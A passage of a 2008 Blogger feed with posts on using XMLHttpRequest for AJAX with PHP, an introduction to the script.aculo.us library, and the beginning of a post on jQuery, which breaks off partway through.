response&lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; /* We have got the response from the server-side script,&lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; let's see just what it was. using the responseText property of &lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; the XMLHttpRequest object. */&lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; var response = http.responseText;&lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; /* And now we want to change the product_categories &amp;lt;div&amp;gt; content.&lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; we do this using an ability to get/change the content of a page element &lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; that we can find: innerHTML. */&lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; document.getElementById('product_cage').innerHTML = response;&lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;/pre&gt;&lt;pre&gt;}&lt;/pre&gt;&lt;p&gt;The above code  should be appended to what you already have in the &lt;a target="_blank"href="http://www.phpbuilder.com/columns/internal_request.js"&gt;internal_request.js  file&lt;/a&gt;. &lt;/p&gt;&lt;h2&gt;&lt;strong&gt;Conclusion&lt;/strong&gt;&lt;/h2&gt;&lt;p&gt;We'll followup  with the rest of this informative article next week, so be sure to visit us  again for the conclusion! btw, don't miss the important Quick Tips listed  below! &lt;/p&gt;&lt;h3&gt;&lt;strong&gt;Quick Tip 1: (Using the POST method instead of GET):&lt;/strong&gt;&lt;/h3&gt;&lt;p&gt;The following will  send the request to the PHP file using the POST method: &lt;/p&gt;&lt;pre&gt;&amp;nbsp;&lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; http.abort;&lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; http.open('post',&amp;nbsp; 'back_end.php');&lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; http.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');&lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; http.send('arg1=val1&amp;amp;arg2=val2&amp;amp;arg3=val3');&lt;/pre&gt;&lt;h3&gt;&lt;strong&gt;Quick Tip 2: (Parsing XML results):&lt;/strong&gt;&lt;/h3&gt;&lt;p&gt;If you're  receiving XML instead plain-text results from your processing PHP script, you  can use the javascript DOM to parse them. Suppose you receive the following: &lt;/p&gt;&lt;pre&gt;&amp;nbsp;&lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;product_list&amp;gt;&lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;product id=&amp;quot;1&amp;quot;&amp;gt;&lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;name&amp;gt;EeasySMS&amp;lt;/name&amp;gt;&lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;version&amp;gt;2.2&amp;lt;/version&amp;gt;&lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;/product&amp;gt;&lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;product id=&amp;quot;2&amp;quot;&amp;gt;&lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;name&amp;gt;BabyMon&amp;lt;/name&amp;gt;&lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;version&amp;gt;1.2&amp;lt;/version&amp;gt;&lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;/product&amp;gt;&lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;/product_list&amp;gt;&lt;/pre&gt;&lt;p&gt;To receive a DOM  compatible response from our XMLHttpRequest object, instead of using the  responseText property, substitute the responseXML property. In this case we'll  refer to it by assigning it the variable XMLResponse. &lt;/p&gt;&lt;p&gt;The product_list  element contains two elements of interest: product elements. In order to get to  these, we can use the following: &lt;/p&gt;&lt;pre&gt;&amp;nbsp;&lt;/pre&gt;&lt;pre&gt;/* Reference the product_list element to the variable product_list */&lt;/pre&gt;&lt;pre&gt;product_list = XMLReponse.getElementByTagName('product_id');&lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&lt;/pre&gt;&lt;pre&gt;/* By substituting product_list for XMLResponse, we will be searching&lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; only the product_list element, not the entire response &lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; We also use getElementsByTagName, not getElementByTagName, &lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; since we are interested in all of the results, not just one. */&lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&lt;/pre&gt;&lt;pre&gt;product_id = XMLResponse.getElementsByTagName('product');&lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&lt;/pre&gt;&lt;pre&gt;/* getElementsByTagName produces an array, which we can access&amp;nbsp; like this:&lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; product_id[n], the same way we access an array item in PHP. &lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Let's get the id attribute from the product elements like this: */&lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&lt;/pre&gt;&lt;pre&gt;for(i=0; i&amp;lt;product_id.length; i++){ //length is the same as count($array)&lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; id = product_id[i].getAttribute('id') //Grabs the id attribute.&lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; /* To get the text from within a text node, we use firstChild.data&lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; for the corresponding element. */&lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; name = product_id[i].getElementByTagName('name').firstChild.data;&lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; version = product_id[i].getElementByTagName('version').firstChild.data;&lt;/pre&gt;&lt;pre&gt;}&lt;/pre&gt;&lt;p&gt;This may seem like  a bit to work with at first, but with a little work, you can get what you want  to work. If you want to avoid this, you could use the responseText method,  parsing the XML in PHP before sending it to the XMLHttpRequest object. &lt;/p&gt;&lt;h3&gt;&lt;strong&gt;Quick Tip 3: (Relevant Links):&lt;/strong&gt;&lt;/h3&gt;&lt;ul type="disc"&gt;  &lt;li&gt;&lt;a target="_blank"href="http://msdn.microsoft.com/library/en-us/xmlsdk/html/xmobjxmlhttprequest.asp"&gt;Microsoft XMLHttpRequest Documentation&lt;/a&gt; &lt;/li&gt;  &lt;li&gt;&lt;a target="_blank"href="http://developer.apple.com/internet/webcontent/xmlhttpreq.html"&gt;http://developer.apple.com/internet/webcontent/xmlhttpreq.html&lt;/a&gt; &lt;/li&gt;  &lt;li&gt;&lt;a target="_blank"href="http://www.mozilla.org/docs/dom/index.html"&gt;The DOM Model in Mozilla&lt;/a&gt; &lt;/li&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1150134339246982062-6265933139354392268?l=itsmeeashok.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://itsmeeashok.blogspot.com/feeds/6265933139354392268/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1150134339246982062&amp;postID=6265933139354392268' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1150134339246982062/posts/default/6265933139354392268'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1150134339246982062/posts/default/6265933139354392268'/><link rel='alternate' type='text/html' href='http://itsmeeashok.blogspot.com/2008/05/xmlhttprequest-and-ajax-for-php.html' title='XMLHttpRequest and AJAX  for PHP programmers'/><author><name>Ashok Kumar S</name><uri>http://www.blogger.com/profile/16392927543676839906</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='31' src='http://bp1.blogger.com/_Rw07kWOIZdA/SCQdWMGX2kI/AAAAAAAAAFs/_vAXw1sBW4Y/S220/Globe.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh3.ggpht.com/samashok143/SCxIGxgr04I/AAAAAAAAAOQ/tPrTiaW0nR4/s72-c/XMLHttpRequest.gif' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1150134339246982062.post-4111991667248306048</id><published>2008-05-09T13:53:00.002+05:30</published><updated>2008-05-20T12:53:13.470+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='JavaScript'/><category scheme='http://www.blogger.com/atom/ns#' term='Technology Upgrades'/><title type='text'>script.aculo.us</title><content type='html'>&lt;h1&gt;script.aculo.us Web 2.0 JavaScript&lt;/h1&gt;&lt;p&gt;&lt;a target="_blank"href="http://script.aculo.us/"&gt;script.aculo.us&lt;/a&gt; is a set of JavaScript libraries to enhance the user interface of web sites. It provides an visual effects engine, a drag and drop library (including sortable lists), a couple of controls (Ajax-based autocompletion, in-place editing, sliders) and more. Be sure to &lt;a target="_blank"href="http://github.com/madrobby/scriptaculous/wikis/demos"&gt;have a look at the demos&lt;/a&gt;!&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Help port the old, dead wiki to github and earn BIG BROWNIE POINTS!&lt;/strong&gt; You can find a copy of the old wiki contents at &lt;a target="_blank"href="http://script.aculo.us/docs"&gt;http://script.aculo.us/docs&lt;/a&gt;. See some helpful hints for &lt;a target="_blank"href="http://github.com/madrobby/scriptaculous/wikis/porting"&gt;porting&lt;/a&gt;, and please follow the &lt;a target="_blank"href="http://github.com/madrobby/scriptaculous/wikis/style-guide"&gt;style guide&lt;/a&gt;!&lt;/p&gt;&lt;h3&gt;API Documentation and Reference&lt;/h3&gt;&lt;p&gt;&lt;em&gt;This wiki details Version 1.8.1 of the library, which is the most current version of the 1.x trunk of script.aculo.us.&lt;/em&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;&lt;a target="_blank"href="http://github.com/madrobby/scriptaculous/wikis/core-effects"&gt;Core Effects&lt;/a&gt;:&lt;/strong&gt; &lt;a target="_blank"href="http://github.com/madrobby/scriptaculous/wikis/effect-highlight"&gt;Effect.Highlight&lt;/a&gt;, &lt;a target="_blank"href="http://github.com/madrobby/scriptaculous/wikis/effect-morph"&gt;Effect.Morph&lt;/a&gt;, &lt;a target="_blank"href="http://github.com/madrobby/scriptaculous/wikis/effect-move"&gt;Effect.Move&lt;/a&gt;, &lt;a target="_blank"href="http://github.com/madrobby/scriptaculous/wikis/effect-opacity"&gt;Effect.Opacity&lt;/a&gt;, &lt;a target="_blank"href="http://github.com/madrobby/scriptaculous/wikis/effect-scale"&gt;Effect.Scale&lt;/a&gt;, &lt;a target="_blank"href="http://github.com/madrobby/scriptaculous/wikis/effect-parallel"&gt;Effect.Parallel&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;&lt;a target="_blank"href="http://github.com/madrobby/scriptaculous/wikis/combination-effects"&gt;Combination Effects&lt;/a&gt;:&lt;/strong&gt; &lt;a target="_blank"href="http://github.com/madrobby/scriptaculous/wikis/effect-appear"&gt;Effect.Appear&lt;/a&gt;, &lt;a target="_blank"href="http://github.com/madrobby/scriptaculous/wikis/effect-blinddown"&gt;Effect.BlindDown&lt;/a&gt;, &lt;a target="_blank"href="http://github.com/madrobby/scriptaculous/wikis/effect-blindup"&gt;Effect.BlindUp&lt;/a&gt;, &lt;a target="_blank"href="http://github.com/madrobby/scriptaculous/wikis/effect-dropout"&gt;Effect.DropOut&lt;/a&gt;, &lt;a target="_blank"href="http://github.com/madrobby/scriptaculous/wikis/effect-fade"&gt;Effect.Fade&lt;/a&gt;, &lt;a target="_blank"href="http://github.com/madrobby/scriptaculous/wikis/effect-fold"&gt;Effect.Fold&lt;/a&gt;, &lt;a target="_blank"href="http://github.com/madrobby/scriptaculous/wikis/effect-grow"&gt;Effect.Grow&lt;/a&gt;, &lt;a target="_blank"href="http://github.com/madrobby/scriptaculous/wikis/effect-puff"&gt;Effect.Puff&lt;/a&gt;, &lt;a target="_blank"href="http://github.com/madrobby/scriptaculous/wikis/effect-pulsate"&gt;Effect.Pulsate&lt;/a&gt;, &lt;a target="_blank"href="http://github.com/madrobby/scriptaculous/wikis/effect-shake"&gt;Effect.Shake&lt;/a&gt;, &lt;a target="_blank"href="http://github.com/madrobby/scriptaculous/wikis/effect-shrink"&gt;Effect.Shrink&lt;/a&gt;, &lt;a target="_blank"href="http://github.com/madrobby/scriptaculous/wikis/effect-slidedown"&gt;Effect.SlideDown&lt;/a&gt;, &lt;a target="_blank"href="http://github.com/madrobby/scriptaculous/wikis/effect-slideup"&gt;Effect.SlideUp&lt;/a&gt;, &lt;a target="_blank"href="http://github.com/madrobby/scriptaculous/wikis/effect-squish"&gt;Effect.Squish&lt;/a&gt;, &lt;a target="_blank"href="http://github.com/madrobby/scriptaculous/wikis/effect-switchoff"&gt;Effect.SwitchOff&lt;/a&gt;&lt;/p&gt;&lt;strong&gt;Effect helpers:&lt;/strong&gt; &lt;a target="_blank"href="http://github.com/madrobby/scriptaculous/wikis/effect-transitions"&gt;Effect.Transitions&lt;/a&gt;, Effect.Methods&lt;a target="_blank"href="http://github.com/madrobby/scriptaculous/wikis/new?title=Effect.Methods"&gt;?&lt;/a&gt;, Effect.tagifyText&lt;a target="_blank"href="http://github.com/madrobby/scriptaculous/wikis/new?title=Effect.tagifyText"&gt;?&lt;/a&gt;, Effect.multiple&lt;a target="_blank"href="http://github.com/madrobby/scriptaculous/wikis/new?title=Effect.multiple"&gt;?&lt;/a&gt;, &lt;a target="_blank"href="http://github.com/madrobby/scriptaculous/wikis/effect-toggle"&gt;Effect.toggle&lt;/a&gt;&lt;br /&gt;&lt;strong&gt;&lt;a target="_blank"href="http://github.com/madrobby/scriptaculous/wikis/behaviours"&gt;Behaviours&lt;/a&gt;:&lt;/strong&gt; &lt;a target="_blank"href="http://github.com/madrobby/scriptaculous/wikis/draggable"&gt;Draggable&lt;/a&gt;, &lt;a target="_blank"href="http://github.com/madrobby/scriptaculous/wikis/droppables"&gt;Droppables&lt;/a&gt;, &lt;a target="_blank"href="http://github.com/madrobby/scriptaculous/wikis/sortable"&gt;Sortable&lt;/a&gt;, Form.Element.DelayedObserver&lt;a target="_blank"href="http://github.com/madrobby/scriptaculous/wikis/new?title=Form.Element.DelayedObserver"&gt;?&lt;/a&gt;&lt;br /&gt;&lt;strong&gt;Controls:&lt;/strong&gt; Ajax.InPlaceEditor&lt;a target="_blank"href="http://github.com/madrobby/scriptaculous/wikis/new?title=Ajax.InPlaceEditor"&gt;?&lt;/a&gt;, Ajax.InPlaceCollectionEditor&lt;a target="_blank"href="http://github.com/madrobby/scriptaculous/wikis/new?title=Ajax.InPlaceCollectionEditor"&gt;?&lt;/a&gt;, Ajax.Autocompleter&lt;a target="_blank"href="http://github.com/madrobby/scriptaculous/wikis/new?title=Ajax.Autocompleter"&gt;?&lt;/a&gt;, Autocompleter.Local&lt;a target="_blank"href="http://github.com/madrobby/scriptaculous/wikis/new?title=Autocompleter.Local"&gt;?&lt;/a&gt;, Slider&lt;a target="_blank"href="http://github.com/madrobby/scriptaculous/wikis/new?title=Slider"&gt;?&lt;/a&gt;&lt;br /&gt;&lt;strong&gt;Miscellaneous:&lt;/strong&gt; &lt;a target="_blank"href="http://github.com/madrobby/scriptaculous/wikis/builder"&gt;Builder&lt;/a&gt;, Sound&lt;a target="_blank"href="http://github.com/madrobby/scriptaculous/wikis/new?title=Sound"&gt;?&lt;/a&gt;, &lt;a target="_blank"href="http://github.com/madrobby/scriptaculous/wikis/unit-testing"&gt;Unit Testing&lt;/a&gt;&lt;br /&gt;&lt;p&gt;script.aculo.us is open source. Read up on how to &lt;a target="_blank"href="http://github.com/madrobby/scriptaculous/wikis/contribute"&gt;contribute&lt;/a&gt; by finding bugs, making bug reports and helping fixing them.&lt;/p&gt;&lt;h2&gt;Quick start&lt;/h2&gt;&lt;h3&gt;1. Download &amp;amp; install&lt;/h3&gt;&lt;p&gt;Using script.aculo.us is easy! First, go to the &lt;a target="_blank"href="http://script.aculo.us/downloads"&gt;script.aculo.us downloads page&lt;/a&gt; to grab yourself the latest version in a convenient package. Follow the instructions there, then return here.&lt;/p&gt;&lt;p&gt;Next, put prototype.js, scriptaculous.js, builder.js, effects.js, dragdrop.js, slider.js and controls.js in a directory of your website, e.g. /javascripts.&lt;/p&gt;&lt;p&gt;Third, load script.aculo.us in your web page. This is done by linking to the scripts in the head of your document.&lt;/p&gt;&lt;pre&gt;  &amp;lt;script src="javascripts/prototype.js" type="text/javascript"&amp;gt;&amp;lt;/script&amp;gt;&lt;br /&gt;  &amp;lt;script src="javascripts/scriptaculous.js" type="text/javascript"&amp;gt;&amp;lt;/script&amp;gt;&lt;/pre&gt;&lt;p&gt;The &lt;strong&gt;scriptaculous.js&lt;/strong&gt; loader script will automatically load in the other libraries.&lt;/p&gt;&lt;h3&gt;2. Use it!&lt;/h3&gt;&lt;p&gt;To call upon the functions, use HTML script tags. The best way is to define them like this:&lt;/p&gt;&lt;pre&gt;  &amp;lt;script type="text/javascript" language="javascript"&amp;gt;&lt;br /&gt;      // &amp;lt;![CDATA[&lt;br /&gt;              $('element_id').appear();&lt;br /&gt;          // ]]&amp;gt;&lt;br /&gt;  &amp;lt;/script&amp;gt;  &lt;/pre&gt;&lt;p&gt;This way, you won’t have to worry about using characters like &amp;lt; and &amp;gt; in your Java Script code.&lt;/p&gt;&lt;p&gt;You can also use effects inside event handlers:&lt;/p&gt;&lt;pre&gt;  &amp;lt;div onclick="$(this).switchOff()"&amp;gt;&lt;br /&gt;      Click here if you've seen enough.&lt;br /&gt;  &amp;lt;/div&amp;gt;  &lt;/pre&gt;&lt;p&gt;If you want to get tricky with it, you can pass extra options to the effect like duration, fps (frames per second), and delay.&lt;/p&gt;&lt;pre&gt;  &amp;lt;div onclick="$(this).blindUp({ duration: 16 })"&amp;gt;&lt;br /&gt;    Click here if you want this to go slooooow.&lt;br /&gt;  &amp;lt;/div&amp;gt;  &lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1150134339246982062-4111991667248306048?l=itsmeeashok.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://itsmeeashok.blogspot.com/feeds/4111991667248306048/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1150134339246982062&amp;postID=4111991667248306048' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1150134339246982062/posts/default/4111991667248306048'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1150134339246982062/posts/default/4111991667248306048'/><link rel='alternate' type='text/html' href='http://itsmeeashok.blogspot.com/2008/05/scriptaculous-web-20-javascript.html' title='script.aculo.us'/><author><name>Ashok Kumar S</name><uri>http://www.blogger.com/profile/16392927543676839906</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='31' src='http://bp1.blogger.com/_Rw07kWOIZdA/SCQdWMGX2kI/AAAAAAAAAFs/_vAXw1sBW4Y/S220/Globe.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1150134339246982062.post-5663424376184167711</id><published>2008-05-09T12:23:00.001+05:30</published><updated>2008-05-20T12:54:44.861+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='JavaScript'/><category scheme='http://www.blogger.com/atom/ns#' term='Technology Upgrades'/><title type='text'>jQuery is a new type of JavaScript library</title><content type='html'>&lt;h1&gt;jQuery is a new type of JavaScript library. &lt;/h1&gt;&lt;br&gt;jQuery is a fast, concise, JavaScript Library that simplifies  how you traverse HTML documents, handle events, perform animations, and add  Ajax interactions to your web pages. &lt;strong&gt;jQuery  is designed to change the way that you write JavaScript.&lt;/strong&gt; &lt;br&gt;&lt;br&gt;&amp;quot;You start with 10 lines of jQuery that  would have been 20 lines of tedious DOM JavaScript. By the time you are done  it's down to two or three lines and it couldn't get any shorter unless it read  your mind.&amp;quot; - &lt;a target="_blank"href="http://www.nabble.com/Re%3A-Change-href-of-external-links-p7609630.html"&gt;Dave  Methvin&lt;/a&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;What does jQuery code look like? &lt;strong&gt;The quick and dirty:&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;$(&amp;quot;p.surprise&amp;quot;).addClass(&amp;quot;ohmy&amp;quot;).show(&amp;quot;slow&amp;quot;);&lt;/pre&gt;&lt;p jquery1210315716200="6"&gt;&lt;strong&gt;Congratulations!&lt;/strong&gt; You just ran a  snippet of jQuery code. Wasn't that easy? There's lots of example code  throughout the &lt;strong&gt;&lt;a target="_blank"href="http://docs.jquery.com/"&gt;documentation&lt;/a&gt;&lt;/strong&gt; on this site.  Be sure to give all the code a test run, to see what happens.&lt;br&gt;  The above code snippet looks for all paragraphs that have a  class of 'surprise', adds the class 'ohmy' to them, then slowly reveals them.  Click the 'Run' button to see it in action!&lt;/p&gt;&lt;h2&gt;&lt;/h2&gt;&lt;h3&gt;From Wikipedia, the free encyclopedia&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;jQuery&lt;/strong&gt; is a lightweight &lt;a target="_blank"href="http://en.wikipedia.org/wiki/JavaScript_library" title="JavaScript library"&gt;JavaScript library&lt;/a&gt; that emphasizes interaction  between &lt;a target="_blank"href="http://en.wikipedia.org/wiki/JavaScript" title="JavaScript"&gt;JavaScript&lt;/a&gt; and &lt;a target="_blank"href="http://en.wikipedia.org/wiki/HTML" title="HTML"&gt;HTML&lt;/a&gt;. It was  released January 2006 at &lt;a target="_blank"href="http://en.wikipedia.org/wiki/BarCamp" title="BarCamp"&gt;BarCamp&lt;/a&gt; NYC by &lt;a target="_blank"href="http://en.wikipedia.org/w/index.php?title=John_Resig&amp;action=edit&amp;redlink=1" title="John Resig (page does not exist)"&gt;John Resig&lt;/a&gt;.&lt;br /&gt;&lt;a target="_blank"href="http://en.wikipedia.org/wiki/Dual_license" title="Dual license"&gt;Dual  licensed&lt;/a&gt; under the &lt;a target="_blank"href="http://en.wikipedia.org/wiki/MIT_License" title="MIT License"&gt;MIT License&lt;/a&gt; and the &lt;a target="_blank"href="http://en.wikipedia.org/wiki/GNU_General_Public_License" title="GNU General Public License"&gt;GNU General Public License&lt;/a&gt;, jQuery is &lt;a target="_blank"href="http://en.wikipedia.org/wiki/Free_and_open_source_software" title="Free and open source software"&gt;free and open source software&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;h1&gt;Features &lt;/h1&gt;&lt;p&gt;jQuery contains the following  features:&lt;/p&gt;&lt;ul type="disc"&gt;&lt;li&gt;&lt;a target="_blank"href="http://en.wikipedia.org/wiki/Document_Object_Model" title="Document Object Model"&gt;DOM&lt;/a&gt; element selections &lt;/li&gt;&lt;li&gt;DOM traversal and modification, (including       support for CSS 1-3 and basic &lt;a target="_blank"href="http://en.wikipedia.org/wiki/XPath" title="XPath"&gt;XPath&lt;/a&gt;) &lt;/li&gt;&lt;li&gt;Events &lt;/li&gt;&lt;li&gt;&lt;a 